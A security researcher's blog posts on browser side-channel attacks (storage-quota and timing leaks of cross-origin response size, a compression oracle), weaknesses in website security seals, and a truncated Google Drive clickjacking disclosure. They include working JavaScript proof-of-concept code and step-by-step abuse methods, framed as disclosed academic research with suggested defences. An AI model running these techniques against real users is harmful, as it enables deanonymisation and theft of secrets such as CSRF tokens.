tom.vg | Blog

Storage quota side-channel attacks in the browser

2016-08-18T00:00:00+02:00

At the Black Hat USA 2016 conference, we presented “HEIST”. In a nutshell, HEIST is a set of techniques that exploit timing side-channels in the browser to determine the exact size of an authenticated cross-origin response. These side-channels allow an adversary to determine whether a response fitted into a single TCP window or whether it needed multiple. Combined with having content of the request reflected into the response, or by leveraging HTTP/2’s parallel requests, an attacker can determine the exact amount of bytes that were needed to send the response back to the client, all from within the browser. It so happens to be that knowing the exact size of a cross-origin resource is just what you need to launch a compression-based attack, which can be used to extract content (e.g. CSRF tokens) from any website using gzip compression. If you are interested in knowing all the details, I gladly invite you to have a look at the whitepaper, slides, or video of the talk.

The week after Black Hat, we went to the USENIX Security conference, to present our paper titled “Request and Conquer: Exposing Cross-Origin Resource Size”. As the title already gives away, in the paper we explore various methods that can be used to expose the size of cross-origin resources. An interesting technique that we discovered as part of our analysis, was to leverage the browser’s storage mechanisms, and more precisely the quota that is applied to it. In this post, I will discuss a small part of the techniques that we discovered (have a look at the paper if you want to know the full details). I will also discuss something that we discovered after the paper was published, namely how these techniques can be used to launch compression-based attacks (similar to HEIST, but even more stable).

Storage quota side-channel attacks

To provide web developers with fine-grained control over which resources are cached, the Cache API was brought to life. This interface can be used to add, retrieve and delete arbitrarily chosen resources into/from the cache. In a previous post I showed how this API can be used directly to estimate the size of a cross-origin response by leveraging it as a timing side-channel. Of course timing is not the only side-channel that can be abused. Whenever quota is applied to a certain resource, chances are that this introduces a side-channel information leak. The short video below illustrates how an attacker can abuse this side-channel to infer the size of an authenticated cross-origin resource, for the full details, please read on.

So how does all of this work? Let’s go step by step. First, the attacker completely fills the cache. This is probably the most arduous and (depending on the size of the victim’s hard disk) time-consuming task. However, if you take into account that other mechanisms such as localStorage or IndexedDB fall under the same per-site quota as the Cache API, you can easily leverage one of those APIs to fill up the cache. By playing around with IndexedDB, I found that I could fill the hard disk at 50-100MB/s, thereby reaching the quota in a few seconds. As soon as the quota is reached, any attempts to store new items will result in an error. At this point, the attacker will free up a specific amount of bytes (referred to as x in the video). These two steps are required because the attacker does not know in advance the size of the cache (in case it’s a percentage of a percentage of the global available disk space, it should be considered random by the attacker). By freeing up a certain number of bytes, the attacker knows exactly how many bytes it will take before the quota is reached again.

In the next step, the attacker will use the Fetch API to download the target resource, using the options {mode: "no-cors", credentials: "include"} to make sure the victim’s cookies are included. As soon as the resource has been downloaded and added to the cache, the adversary can start filling the cache again. However, this time the attacker will need to take note of the number of bytes he put in the cache before reaching the quota limit (referred to as y in the video). By computing x - y, the attacker discovers the exact size of the resource.

Quota Management APIs

Next to leveraging the per-site quota limit, there are some related attacks as well. A little-known API named Quota Management, which has only been adopted by Chrome, allows you to query the current storage usage. Considering that attackers can store authenticated cross-origin resources, and query storage usage as often as they like, it becomes ridiculously easy to find the size of a cross-origin resource:

function getEstimate(url) {
    return new Promise(function(resolve) {
        var resp;
        var oldSize;
        caches.delete('bogus-cache').then(function() {
            return fetch(url, {mode: "no-cors", credentials: "include"})
        }).then(function(response) {
            resp = response;
            return navigator.storageQuota.queryInfo('temporary');
        }).then(function(estimate) {
            oldSize = estimate.usage;
            return caches.open('bogus-cache');
        }).then(function(cache) {
            return cache.put(new Request('/bogusReq'), resp.clone());
        }).then(function() {
            return navigator.storageQuota.queryInfo('temporary');
        }).then(function(estimate) {
            resolve(estimate.usage - oldSize);
        });
    });
}

At the time of writing, the above code will only work in Chrome Canary (v54). To achieve the same in the current stable version of Chrome (v52), this API should be used instead: navigator.webkitTemporaryStorage.queryUsageAndQuota (it takes a callback function as argument). Note that this API has been there for ages, at least since Chrome v13.

Real-world attack scenarios

Knowing the exact size of authenticated cross-origin resources, allows an attacker to discover numerous things about a victim. In our paper, we provide a few example scenarios, but since virtually every website is designed to return user-specific content, there are countless other “possibilities”. The attack scenario I personally find most interesting, is the identification of a user on Twitter by leveraging publicly available resources. In this scenario, the attacker first creates a large database of Twitter users and the size of associated resources, e.g. /user/following, /user/followers, … When the victim visits the attacker’s page, the attacker obtains the size of the /following, /followers resources that are returned to the victim. Because the victim’s cookie is attached to these requests, they will be of the same size as /victim/following, /victim/followers, etc. Now the attacker only needs to match the entries in his database to the ones retrieved from the victim, allowing him to determine the victim’s identity.

To analyse the viability of this attack, we performed an experiment where we collected the size of 5 resources of 500,000 random Twitter users. We then grouped together users with the same vector of resource sizes. The group size can be considered the size of the anonymity set: if the size is 2, then the victim can be of any of these 2 users. The graph below shows the distribution of the amount of users per group size (note that the y-axis is logarithmic scale). The most interesting about this graph are those two dots in the top left corner. Knowing the size of just two resources, 81.69% of the 500k Twitter can be uniquely identified. For all 5 resources, this percentage rises to 99.96%. Of course, this only works if the public resources obtained by the attacker remain “fresh”. As soon as the victim gains a new Twitter follower, the response size will change. To counter this, the adversary can re-download the profiles whose resource lengths are close to that of the victim. Given enough effort, I’d say this is well in the range of a motivated attacker. Remember that this is just one of many attack scenarios, in our paper we describe various others, most of which require much less effort.

Compression-based attacks

If you haven’t been living under a rock for the last few years, you have probably heard of CRIME, BREACH, TIME, or HEIST. All these attacks aim to do the same thing: exploit resource compression to reveal secret content. In a nutshell (skipping many important details), it works as follows: the attacker injects secret=a in the request, which will be reflected in the response. If the secret starts with a, the compression algorithm can reference a longer string, and the resulting size will be 1 byte smaller compared to any other character. To launch such a compression-based attack, the first requirement is that a short attacker-controlled string ends up in the response (many web pages reflect the requested URL, so that’s not too difficult). The second requirement is that the attacker needs to know the exact resource size. Of course, only the size of the response after compression matters. Unfortunately, this prevents us from directly applying the size-exposing techniques based on the browser storage quota, as resources are stored without compression.

Of course, you wouldn’t be reading all of this, if there was no other technique that could be applied. Since we can’t learn any information from the response body, it might be interesting to consider the response headers as well. The only header I know of that is related to the response size, is the Content-Length header. What’s important to note, is that the value of the Content-Length header reflects the response size after compression. Of course, we still need a way to discover the value of this header. Interestingly, because the Cache API will store headers as well, we can again use the same quota side-channel attack here. Here we can leverage the fact the value of Content-Length is represented as a decimal value. As such, it takes 3 bytes to store 999, and 4 bytes to store 1000. So all an attacker needs to do, is to find the tipping point, i.e., an incorrect guess of the secret results in an additional byte to represent the Content-Length value. E.g. Content-Length for secret=a is 999, for secret=b it is 1000; so now we know that a is a correct guess. The attacker can reach this tipping point by reflecting more content in the response, or by picking a resource that is much closer to it. So there you have it, an attack that can extract secret content from resources purely in the browser, without needing to worry about how or when they are sent over the network.

Help, I’m doomed

We’ve reported these issues to both browser vendors and spec editors, and proposed a solution based on applying a virtual padding to responses. This degrades the performance of the attacks to that of timing attacks (an evil we will have to live with for the time being). This is because the only attack against random padding is to collect enough measurements and apply some statistical method. By making it difficult to collect many measurements, attackers are significantly hindered when launching this attack. Hopefully, these mitigations will land in browsers soon! For the time being, you might want to consider disabling third-party cookies in your browser, which not only mitigates the attacks mentioned in this post, but also timing and CSRF attacks.

Timing Attacks in the Modern Web

2016-08-01T00:00:00+02:00

Before you explore all the details of these browser-based timing attacks, head over to my laboratories to play around with these attacks yourself!

Timing attacks have been known for a long time. One of the earliest, and possibly the most well-known attacks that leverage timing as side-channel information, are those reported by Paul Kocher in 1996 (to give you an idea, that’s around the same time cookies were first introduced to the web). In his paper, Kocher describes that by measuring the execution time of private key operations, it becomes possible to factor RSA keys and break other cryptosystems such as Diffie-Hellman. After all these years, timing attacks are still highly relevant (you may have heard about the Lucky 13 attack).

In the context of the web, one of the earliest mentions of timing attacks was in 2007, by Bortz and Boneh. In their work, the researchers introduced two types of web-based timing attacks: direct timing attacks and cross-site timing attacks. The former describes the scenario where the adversary directly (hence the name) interacts with the web server. For instance, by measuring the time the server takes to process a POST request to the /login endpoint, the attacker can infer the existence of a username. Similarly, when passwords are checked character by character, the adversary can leverage the timing information to figure out at which position the password comparison failed, and use this information to reveal a victim’s password.

Cross-site Timing Attacks

The remainder of this post will focus on the other type of timing attack, namely the cross-site timing attack. The main difference with direct timing attacks is that in this scenario, it is not the attacker that sends out requests to the targeted website. Instead, by using JavaScript, the attacker triggers to send out carefully crafted requests. As part of the timing attack, the adversary measures the time it takes for the client to download the associated resource. It is important to note here that the requests sent out by the victim are authenticated, i.e. they contain the Cookie header. This means that the response that is returned to the victim will be based on the state of that victim with the targeted website.

Here’s an example that should help you visualize this more easily. Let’s assume there is a popular social network https://social.com consisting of two groups: “The Force” and “The Dark Side”. The groups can be reached at the endpoints /the-force/ and /the-dark-side/, but the content posted in the group can only be accessed by members of the group, otherwise a short error message is returned. Now, when the victim is visiting some random website (e.g. this one), it may contain some malicious JavaScript written by the attacker (either from the website itself, or from a third-party source). The attacker will use this malicious JavaScript to figure out which group victims belongs to, thereby violating their privacy. This JavaScript could be as simple as this:

function getMeasurement(url, callback) {
    var i = new Image();
    i.addEventListener('error', function() {
        var end = performance.now();
        callback(end - start);
    });
    var start = performance.now();
    i.src = url;
}
getMeasurement('https://social.com/the-force/', function(timeTF) {
    getMeasurement('https://social.com/the-dark-side', function(timeTDS) {
        if (timeTF > timeTDS) {
            alert('The force is with you!');
        }
        else {
            alert('All hail the Dark Lord!');
        }
    });
});

In theory, this works like a charm. In practice however, there are many factors that prevent this attack from working reliably. One of the main reasons is that networks (especially wireless ones) are not entirely stable, and since the request is made over the victim’s network, the attacker can not try to improve this. Networks suffer from congestion, jitter and brief interruptions. Any of these factors would ruin the attacker’s attempt to detect the victim’s membership. To make matters worse (in the attacker’s point of view), most resources are sent with gzip compression, making the difference in resource size (and thus the timing measurement) even smaller. This is most likely why we haven’t seen any news headlines describing attackers used cross-site timing attacks to steal private information.

Browser-based Timing Attacks

As part of the research I do at the university of Leuven, I set out to explore these cross-site timing attack in more detail. This lead to the discovery of a new class of timing attacks, namely “browser-based timing attacks”. Instead of relying on the unstable network download time, these attacks leverage side-channel leaks in browsers to measure the time the browser takes to process resources. More concretely, the timing measurement starts right after the resource has been downloaded (thereby avoiding jitter from the network), and stops after it has been processed.

I discovered four different browser functionalities that can be abused for the purpose of launching these attacks: <video> parsing, <script> parsing, disk storage (Cache API) and storage retrieval (ApplicationCache). In this post, I will only discuss the <video> parsing and disk storage attacks. If you’re interested in the details of the other attacks, have a look at our paper.

Video-parsing Attack

If you were expecting an elaborate attack with many complex formulae, I am sorry to disappoint you. In fact, it’s as simple as the one above:

function getMeasurement(url, callback) {
    var v = document.createElement('video');
    var start;
    v.addEventListener('suspend', function() {
        start = performance.now();
    });
    v.addEventListener('error', function() {
        var end = performance.now();
        callback(end - start);
    });
    v.src = url;
}

The main difference with the network-based cross-site timing attack, is that the start of the measurement now is when the suspend event fires. According to the HTML5 Standard, the suspend event is fired when the user agent is no longer downloading the resource. Because the targeted resource is not an actual video, and only a few tens or hundreds kB in size, the event will fire when the resource has been downloaded. After this, the browser will try to parse the resource as a video. Of course, HTML/JSON/… files are not valid video formats, so the browser will trigger the error event on the <video> element. But interestingly, the time it takes for the browser to come to this decision is related to the size of the resource, exactly what the attacker is interested in.

Although this technique overcomes the influence of the network condition, getting just a single measurement for each endpoint might not be sufficient to make it reliable. Instead, the attacker should obtain multiple measurements, and take the average or median. In most cases (except when the Cache-Control header contains the no-store directive), the attacker can simply leverage AppCache to force the browser to download and cache the resource. By doing so, only a single request will be sent to the target website, and obtaining an additional measurement only takes 3-5ms.

It should be noted that this attack does not work in Firefox because it strictly verifies the Content-Type of the response.

Cache Storage Attack

The Cache API, which aims to replace AppCache, provides developers with a fully programmable cache. More concretely, the Cache API can be used to store, retrieve and delete any type of response. Really, any type of response: cross-origin, authenticated, served with the no-store directive, you name it.

Writing a resource to the disk takes a certain amount of time, which is related to the size of that resource (writing 1 byte will obviously be much faster than writing 1GB). If we can measure the time the browser takes to do this, we can again get an estimate of the response size. I wouldn’t be writing this if it weren’t the case, so without further ado, this is what the cache storage timing attack looks like:

function getMeasurement(url, callback) {
    fetch(url, {mode: "no-cors", credentials: "include"}).then(function(resp) {
        setTimeout(function() {
            caches.open('attackz0r').then(function(cache) {
                var start = performance.now();
                cache.put(new Request('foo'), resp.clone()).then(function() {
                    var end = performance.now();
                    callback(end - start);
                });
            });
        }, 3000);
    });
}

If you are not familiar with the Fetch API or Promises, this may look a bit more complicated, but in fact it is simply placing a Response into the cache. What’s important to note is that on the second line, I passed following options to fetch(): {mode: "no-cors", credentials: "include"}. Basically, this makes sure that the fetch algorithm does not use the Cross-Origin Resource Sharing (CORS) mechanism, and include the cookies with the request (which is important, because we want the response to be specific to the user). Also, because the Promise returned by fetch() resolves as soon as the first byte of the response is received (and not when the complete response is in), I used the very naive setTimeout method to wait for the response to be downloaded. This can be easily improved by first having a round of cache.put() and cache.delete(). Anyways, the take-away message is that we can measure the storage time, and use that to infer the length of the response.

Performance

To evaluate the performance of these new browser-based timing attacks, we performed an experiment. We tried to measure the time it would take for an attacker to reliably, i.e. with 95% certainty, determine whether one resource is larger than the other. We did this for files where the difference in file size was 5kb - 100kb, with 5kb increments. The experiments had the following results:

From the graph, it is immediately clear that, especially for resources where the difference in resource size is small, the browser-based attacks outperform the classic attacks that rely on the network download time. Also interesting to note here, is that the experiments were executed on our university’s (relatively stable) network. Nevertheless, for the case where the difference in resource size was 40kB, the classic method failed to point out the largest of the two resources.

Real-world Consequences

Now we know that there are techniques that can provide attackers with an estimate of the resource size, why should we care about it? Detecting group membership on social networks may not seem that impressive at first sight. However, if the attacker manages to find enough groups you belong to, he can make an intersection of the members of all these groups and potentially find out your identity (again, the attacker is not supposed to know anything about your identity on other websites).

By looking at some popular websites, a number of other attack scenarios were discovered. I will give a brief overview of some of them, if you’re interested in the details, have a look at the paper. I have also set up an attack playground where you can try out some of these attacks yourself.

Facebook provides pages the ability to limit the audience that can see a certain post based on the users’ demographics (age, gender, location, language). For instance, I can create a post that can only be viewed by users of 27 years old. For all other users, an error message saying that the content is not accessible will be returned. These two different responses differ in size, and can therefore be used determine whether a user belongs to the one group (users of the age 27), or the other group (users younger or older than 27). The same goes for all the other demographic features.

On LinkedIn, you can search through your contacts based on certain criteria. An attacker can send the same requests, and pick the criteria he wants to know more about. By looking at the response sizes, an attacker can determine where the majority of your connections live, work, and what their job title is.

Twitter users can “protect” their account, which makes their Tweets invisible to anyone who does not follow them. The response size for the profile of following users will thus be larger than that of non-following users.

Defense Mechanisms

There are many opportunities to mitigate these attacks. Unfortunately, very little methods can be used to completely thwart these attacks. In my opinion, one of the best candidates is to disable third-party cookies. Not only does it prevent all types of cross-site timing attacks, it also prevents attacks such as cross-site request forgery (CSRF) and cross-site script inclusion (XSSI). In fact, all cross-site attacks are prevented by block third-party cookies (note: XSS is not really a cross-site attack, it was just badly named). The reason this works is because if there are no cookies attached to the requests triggered by the attacker, no user-specific content is returned, so there’s simply nothing for the attacker to steal. By default, all browsers allow third-party cookies, but most of them provide a setting that allows you to block them. I suggest you go ahead and do that right away, you will be surprised by the little impact this has on your typical browsing experience.

Disclosure

We reported these issues to various parties, both browser vendors as well as websites. Below are a few of their responses.

Chromium

Bug report

Response:

Thanks for reporting this. It seems like this is very similar to another report about cache-based side channel attacks from “The spy in the sandbox,” so I’m marking this as a duplicate. Please take a look at the other bug.

Note: These attacks have absolutely nothing in common with those from “The spy in the sandbox”.

Firefox

Bug report

Most relevant response:

This isn’t an issue Firefox can solve on its own; much of it is inherent in the design of the features. After the paper is published we can work with Chrome folks and other browser vendors to see if there are any reasonable ways to address this

Note: Since then (October 2015), nothing has changed.

Facebook

Response:

We ended up discussing this at length with the Facebook Security Team, and at the time we do not plan to make any changes to our site.

Response:

With regard to determining the general geographic region of a member, this is configurable by our members as to how much information they would like to share, in terms of the specificity of location, down to a city/zip code level. This information is not expected to be private, so we don’t consider that aspect a vulnerability.

With regards to the connection status of two members, this is considered semi-private. There are limitations as to who can see this information, but it is never expected to be 100% private, as first degree members will always be able to see related connections. Do you have any proof of concept code, demonstrating the ability to exploit this in the described manner, that you’d be willing to share with us? If it is possible to exploit in the manner described, we would like to address this.

The relationship of a member to a company is not considered private information on our site, so we don’t consider that aspect a vulnerability.

Note: From the response, it would seem that my report was misunderstood. It doesn’t matter that the information that is leaked is not considered private, what matters is that any website I visit can now learn all this information about me. Online advertising agencies are already building a very extensive profile of me, I don’t want that profile to also include all the information I share on social networks. I want every site I visit to only be able to know things about me that I explicitly shared with them.

What’s next?

Unfortunately, these browser-based timing attacks are not the only method that can be used to obtain the response size. In a few days, Mathy and I will give a talk at Black Hat on how we can leverage TCP windows to determine the exact length of responses on the network level. The week after, we will present our research on techniques that can be used to expose the size of cross-origin resources at USENIX Security. Spoiler: we introduce two new techniques to get the exact size of cross-origin resources.

Clubbing Seals

2014-11-24T00:00:00+01:00

Is this website secure? Well, it just contains statically generated content and holds no personal information, so most likely it is. But how would you be able to tell whether it actually is secure?

This problem is exactly what security seal providers are trying to tackle. These seal providers offer a service which allows website owners to show their customers that their website is secure, and therefore safe to use. This works as follows:

The security seal provider initiates a vulnerability scan towards the to-be-sealed website.
When the website is found to be without vulnerabilities, the website owner can include a seal on his website, which links to the seal provider, and shows the security of the sealed website is A-ok.
In case some vulnerabilities were found, the seal provider reports these to the webmaster, who has a limited amount of days to fix these before the seal becomes invisible (more on this later).
This process is repeated every day, week, month or quarter, depending on the security seal provider.

Now, does having such a security seal on your website actually mean you can trust what the seal provider is claiming, and that your website is secure, or does it actually introduce new types of vulnerabilities and increase the likelihood of compromise? This is exactly what we wanted to find out in our research.

Before getting into the results, and new types of attacks we found, let me first guide you through some more background on how the different seal providers operate, and which experiments we executed to evaluate the claims of security by the seal providers.

Security Seals

In our research, we evaluated 10 different security seal providers, whose security seal you can see below. These seals can be included with some basic HTML code, for instance:

<a href="https://seal-provider.com/verify/?id=mywebsite.com">
	<img src="https://seal-provider.com/seal.png?id=mywebsite.com">
</a>

The security seal image is dynamically generated, based on the state of security in mywebsite.com. In case the website was found to be secure, the seal will be shown (just as the seals below). This seal also links to the website of the seal provider, so the visitor can verify that the seal is valid, and is not just an image the website administrator put on his website.

In case the website was found to be vulnerable, none of the seal providers will show this on their seal. Instead, most of the seal providers will just make the seal invisible (by turning it into a 1x1 px image, or making it transparent). So to an average visitor, a vulnerable, sealed website will just look like a website without a security seal. Note: when a vulnerability was found in a sealed website, most seal providers allow the website administrator a grace period of a couple of days during which he can fix the vulnerability before his seal becomes invisible.

As I’ve said before, in our research we wanted to find out whether having such a security seal on your website actually means your website is more secure. There have been some reports on security seals being sketchy, but these were mainly anecdotal or for a handful of websites. We wanted to look at the security seal ecosystem, and verify the security-claims at a large scale. In order to do so, we collected a list of seal-using websites by crawling the homepage of the 1 million most visited websites according to Alexa, and looking for the presence of a security seal. By using Google dorks, we managed to discover some more websites. For instance, using site:mcafeesecure.com/verify?host= allows you to discover a large number of McAfee SECURE customers (as you can see for yourself on Google). As a result, we discovered 8,302 websites using security seals which we then evaluated. Interesting to note: most of the seal-using websites are webshops, which makes sense, as these websites may benefit financially by having users trust them. From an attacker’s perspective, this is also interesting, as these websites often hold valuable data (credit cards, …).

Security Evaluation

To analyze whether sealed websites are actually secure, or at least more secure than non-sealed websites, we executed three experiments:

A comparison of adoption of security mechanisms in sealed websites versus non-sealed websites
A manual penetration test of sealed websites which were willing to cooperate
Analyzing the vulnerability scanners employed by seal providers by setting up a vulnerable webshop

I will briefly discuss each experiment and its results. For more details, please refer to our paper.

1. Comparison to non-certified websites

In this experiment, we made the assumption that websites with a security seal try to protect their users as good as possible. Next to trying to identify and fix vulnerabilities in your website, one can also use certain security mechanisms which will make it much harder for an attacker to successfully exploit a vulnerability. For example, when the HttpOnly attribute is set on a cookie, this cookie is not accessible through JavaScript. So even if an attacker is able to find an XSS vulnerability in your website, he will not be able to steal the cookie.

In our experiment, we evaluated the presence or absence of nine security mechanisms, which are indicative of a website’s “security hygiene”. We compared the adoption of these mechanisms between sealed websites and equivalent (same category, similar Alexa ranking) non-sealed websites, and found what previous reports already indicated: sites with a security seal are not significantly more secure than sites without such a seal.

2. Penetration testing

So sealed websites don’t adopt security mechanisms more often than non-sealed websites. Perhaps they don’t need these, as they were thoroughly scanned and therefore shouldn’t contain easily discoverable vulnerabilities? To verify this claim, we executed another experiment where we did a manual penetration test of max. 8 hours (approximately the time a moderately interested attacker would be willing to spend).

In order to find websites willing to cooperate (i.e. allowing us to do a free penetration test, of which the results would be used anonymously), we contacted a total of 1,000 sealed websites by filling out the contact form on the website, or sending them an email.

Interesting sidenote: the template text we used, contained the contraction don't; something we didn’t pay attention to, until at one point we received a MySQL error, indicating the contact form was actually vulnerable to SQL injection attacks.

Of the 1,000 websites we contacted, very few responded. Next to the emails we received where we were explicitly prohibited from doing any sorts of tests, we did manage to find 9 websites willing to cooperate. The results of the penetration test of these nine websites are quite worrisome: we found vulnerabilities in 7 out of the 9 websites. In most cases, these vulnerabilities were easily discoverable, e.g. several cross-site scripting vulnerabilities where a GET parameter was reflected without proper encoding. This shows there are definitely quite some shortcomings in thoroughness of the security tools used by seal providers.

3. Vulnerable webshop

To further evaluate the thoroughness of the vulnerability scanners used by the seal providers (the performance of these scanners is key for the trustworthiness of a security seal), we set up a vulnerable webshop for which we tried to obtain a security seal. The webshop was an outdated version of PrestaShop (a popular open-source e-commerce web application), where we included several vulnerabilities, such as XSS, SQL Injection, …

We managed to buy (or get free trials for) security seals from eight companies. Surprisingly, we could immediately include two seals in our website, as the two seal providers did not find any vulnerability in our website. By looking at our server logs, we found that the lack of vulnerability discovery actually was not that very surprising. One of the seal providers merely ran a port scan using Nmap, and the other did a very basic Nessus scan. These tools are definitely not adequate to perform a rigorous security evaluation of a website.

The other six seal providers did manage to find *some* vulnerabilities, but performed far from sufficient. Five seal providers found a third or less of the vulnerabilities, and one found almost half. Of course, you could argue that we made it incredibly hard for the seal providers to find these vulnerabilities. That’s why we compared the coverage of found vulnerabilities with three popular vulnerability scanners (Acunetix, HP WebInspect, Burp Suite). These tools, which can also be used by an attacker, found at least as many vulnerabilities as the best-performing seal provider.

I guess it doesn’t really come as a surprise that these experiments show that sealed websites are not more secure than non-sealed websites in general. But well, there is no harm in using one of these security seals, right?

Attacks

Although the services offered by seal providers attempt to improve the security of websites that make use of, we found several attacks which are inherent to the security seal ecosystem. These attacks may expose a sealed website to an additional risk of being exploited. In this section I will discuss a subset of the attacks we found, for the complete list, please refer to our paper.

1. Using security seals as an oracle

In the beginning of this post, I mentioned that when a vulnerability was found in a seal-using website, this seal will become invisible. This means that an adversary can infer the state of security from the security seal: visible means no vulnerability was found, invisible means the website is actually vulnerable. Now, all an attacker needs to do in order to discover vulnerable websites, is (1) collect a list of seal-using websites - this is quite easy using Google dorks, (2) grab the seal for each website every day, and (3) check whether the image is invisible.

We actually did just that during a two-month-long experiment, and found a large number of websites with an invisible seal. Next to being vulnerable, having an invisible seal can also mean that the contract between the website and seal provider ended. But for an attacker, having an invisible seal on your website may already be enough incentive to launch an attack.

Next to the visibility of a security seal, there’s another way to leak the state of security of a certain website: the seal-verification page on the seal provider’s website. This page contains some basic information on the website, the offered services, and the results of the scan (e.g. the last day the website was found to be secure). For some seal providers, this leaks some additional information, and allows an attacker to identify whether an invisible seal means the contract has ended, or that the website is actually vulnerable. In our experiment, we found over 100 websites that most likely contained a vulnerability (or at least one that was found by the seal providers) at some point during the two months the experiment ran.

Update: At Derbycon 2012, Jay James & Shane MacDougall presented a tool called “Oizys” which would try to enumerate customers of McAfee and Trust-Guard and pinpoint vulnerable websites by analysing disappearing seals.

2. Identify vulnerabilities

When the attacker found a vulnerable website, he will still need to identify the vulnerability. He could do this by starting a vulnerability scan in his favorite tool, manually pentest the website, or again abuse the security seal services to help him with this daunting task. The latter may actually work best, since the seal provider found the vulnerability before, and will probably find it again.

So in order to discover the vulnerability that lead to the seal turning invisible, the attacker can do the following:

Set up a proxy, this proxy will forward all incoming requests to the vulnerable website, and return its response.
Register for a free trial at the seal provider (most seal providers offer this)
Tell the seal provider to scan the security of the proxy-server
Once the scan has completed, the seal provider will share the vulnerabilities it found in the proxy (so actually in the attacker’s target)

Easy peasy!

3. Improve phishing campaigns

If the presence of a security seal actually improves the trustworthiness of a website, the same should hold for phishing websites. So to improve the trustworthiness of a phishing campaign, attackers can include a security seal. Although attackers can simply duplicate the security seal image and place it on their phishing page, clicking the image will not show the website is secure. This is because some seal providers check the Referer header. If the value of this header does not match the domain of the seal, it is not shown.

Interestingly, when the Referer header is missing, seal providers happily show the security seal and status page. An attacker can easily achieve this by adding following HTML tag to his phishing page: <meta name="referrer" content="never">. According to the W3C specs, this will suppress the Referer header from being sent.

4. Attack 3rd-party websites

In this last attack, I will show how an attacker can trick a seal provider to start a vulnerability scan against an arbitrarily chosen website. Running a vulnerability scan against a website may come with a certain cost for the attacker. We found that a single seal provider made over 170,000 requests to check the security of our relatively simple webshop. How nice would it be if you could just let the seal provider do the heavy lifting and receive a report with all the vulnerabilities that were found?

When signing up with a seal provider, one first needs to prove ownership of the website you want to obtain a seal for. This proof-of-ownership is usually as follows: the seal provider supplies a file with a randomly generated name, e.g. j52ykxg4emi7nda49ofk, and content, e.g. ojh199xpovu8uxmx4n1q3qzv6j6eo13t4bbtb36s. The website owner then uploads this file on his website, and tells the seal provider to check the authenticity. The seal provider will then request http://attacked-website.com/j52ykxg4emi7nda49ofk, and check for the presence of the randomly generated string. Some seal providers will just verify whether this string appears *somewhere* on the page.

Now take a look a my freshly created Vimeo page: https://vimeo.com/j52ykxg4emi7nda49ofk. This page contains the randomly generated string ojh199xpovu8uxmx4n1q3qzv6j6eo13t4bbtb36s as part of my bio description. This means that I can trick the three seal providers that don’t require an exact match of the uploaded file, to do a security scan on vimeo.com, and report back the vulnerabilities they found to me.

Conclusion

This research shows that websites containing a security seal are not significantly more secure than sites without such a seal. This has two major implications: (1) users of sealed websites are often falsely tricked into believing they are secure, and (2) owners of sealed websites are lead believing their website is secure, which may prevent them from spending additional resources (e.g. by implementing security mechanisms) to make their website more secure.

The discovery of the discussed attacks shows that signing up for a security seal service may even be hazardous. By having a security seal, websites may actually become an easy and alluring target for attackers.

If you are interested in all the juicy details, definitely have a look at our paper!

ClickJacking vulnerability leads to information leakage in Google Drive

2014-02-18T00:00:00+01:00

This blog post reports on a ClickJacking vulnerability in Google Drive, which has not been fixed in more than 5 months. I will discuss how this vulnerability was discovered in a semi-automated fashion, what caused the vulnerability and how Google should/could have fixed it.

In an attempt to live up to Mr. Curtis “50 Cent” Jackson’s life guidance (Get Rich Or Die Tryin’), I wanted to come up with something that automated much of the checks I did when hunting bugs manually. One of these checks is to verify whether web pages send out the correct security headers. A header that should be on every web page containing a form which initiates a state-change, is X-Frame-Options. By sending out this header on a web page, a website operator can protect his users against ClickJacking vulnerabilities.

NOTE: X-Frame-Options is not the only mechanism to protect against ClickJacking, the frame-ancestors directive of CSP does this as well.

Hustler’s Ambition

As the amount of time I had for creating this was rather limited, I decided to implement this mechanism as a browser plugin, which logs all pages that contain a form and don’t send out the X-Frame-Options header. As I regularly use the websites that are subject to my analysis, all I had to do now was wait and keep going ‘til I hit the spot.

NOTE: I assumed that only pages with forms would be vulnerable to ClickJacking attacks, but this might not always be the case.

A few weeks later, I started analysing the log files to check if I had hit something. After going through some false positives (Google Maps, Google Sites, forms on Google Docs, …), I found something interesting: Google Picker.

Google Picker is a “File Open” dialog for the information stored in Google servers.

With Google Picker, your users can select photos, videos, maps, and documents stored in Google servers. The selection is passed back to your web page or web application for further use.

Use Google Picker to let users:

Access their files stored across Google services.

Upload new files to Google, which they can use in your application.

Select any image or video from the Internet, which they can use in your application.

So, you select your files from Google, and send information about them to a third party. I would assume that as a user, I would have to give some permission for a third party to get information on my private files, or that I at least would clearly see what I was doing, right? ~~Right?!~~

Window Shopper

So here’s what we know: the Google Picker page can be framed and some information about selected files is sent to the parent. By analysing the Google Picker tool, I quickly found that the information was sent cross-origin, by using the postMessage-mechanism. You can read all about this mechanism on MDN, but basically when there are two windows, the one can use otherWindow.postMessage(message, targetOrigin, [transfer]) to send a message. If otherWindow is listening (via window.addEventListener("message", ...)), it will be able to receive the message.

Google Picker determines the target origin and window based on a parameter in the URL. Setting this parameter to the desired attack domain, will take you to the candy shop. Playing a bit with the parameters I managed to just show pdf files, as these are most likely to be sensitive. This is the page that will be framed: [Redacted]

Now let’s see what data is sent to the attacker through postMessage:

{
    "s": "picker",
    "f": "",
    "c": 0,
    "a": [{
        "action": "picked",
        "viewToken": ["pdfs", null, {
            "mode": "list"
        }],
        "docs": [{
            "id": "0B2QAJJg95dkIRGxsSHd3YzRtbWc",
            "serviceId": "DoclistBlob",
            "mimeType": "application/pdf",
            "name": "S3CR3T.pdf",
            "type": "document",
            "lastEditedUtc": 1379511652399,
            "iconUrl": "https://ssl.gstatic.com/docs/doclist/images/icon_10_pdf_list.png",
            "description": "",
            "url": "https://docs.google.com/file/d/0B2QAJJg95dkIRGxsSHd3YzRtbWc/edit?usp=drive_web",
            "embedUrl": "https://docs.google.com/file/d/0B2QAJJg95dkIRGxsSHd3YzRtbWc/preview",
            "thumbnails": [{
                "url": "https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s32-c",
                "width": 32,
                "height": 32
            }, {
                "url": "https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s64-c",
                "width": 64,
                "height": 64
            }, {
                "url": "https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s72-c",
                "width": 72,
                "height": 72
            }, {
                "url": "https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s400"
            }],
